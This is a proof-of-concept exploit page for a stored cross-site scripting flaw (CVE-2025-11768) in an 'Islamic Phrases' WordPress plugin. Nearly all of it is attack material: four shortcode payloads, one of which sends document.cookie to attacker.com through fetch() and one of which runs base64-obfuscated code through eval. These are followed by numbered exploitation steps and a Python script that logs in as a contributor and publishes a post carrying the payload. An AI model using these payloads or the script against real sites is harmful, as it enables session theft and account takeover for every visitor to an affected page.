CVE-2025-11768

# CVE-2025-11768 PoC - Islamic Phrases Stored XSS # Affected Version: <= 2.12.2015 # Attack Type: Stored Cross-Site Scripting via shortcode # Method 1: Basic PoC - Inject via shortcode attribute post_content = ''' [phrases onfocus="alert('XSS')" autofocus] ''' # Method 2: Event handler injection post_content = ''' [phrases onmouseover='javascript:alert(document.cookie)'] ''' # Method 3: Script tag injection post_content = ''' [phrases]<script>fetch('https://attacker.com/steal?c='+document.cookie)</script>[/phrases] ''' # Method 4: Image tag with onerror post_content = ''' [phrases><img src=x onerror=eval(atob('YWxlcnQoZG9jdW1lbnQuY29va2llKQ=='))>] ''' # Exploitation steps: # 1. Attacker with contributor+ role creates/edits a post # 2. Inserts malicious shortcode with XSS payload # 3. Publishes the post # 4. Any user visiting the page executes the malicious script # Python PoC script import requests target_url = "http://target-wordpress-site.com" login_url = f"{target_url}/wp-login.php" post_url = f"{target_url}/wp-admin/post.php" session = requests.Session() # Login with contributor account login_data = { 'log': 'attacker_username', 'pwd': 'attacker_password', 'wp-submit': 'Log In', 'redirect_to': post_url } session.post(login_url, data=login_data) # Create post with XSS payload post_data = { 'post_title': 'XSS Test Post', 'post_content': '[phrases onmouseover="alert(document.cookie)"]', 'post_status': 'publish', 'publish': 'Publish' } response = session.post(post_url, data=post_data) print(f"XSS payload deployed: {response.status_code}")

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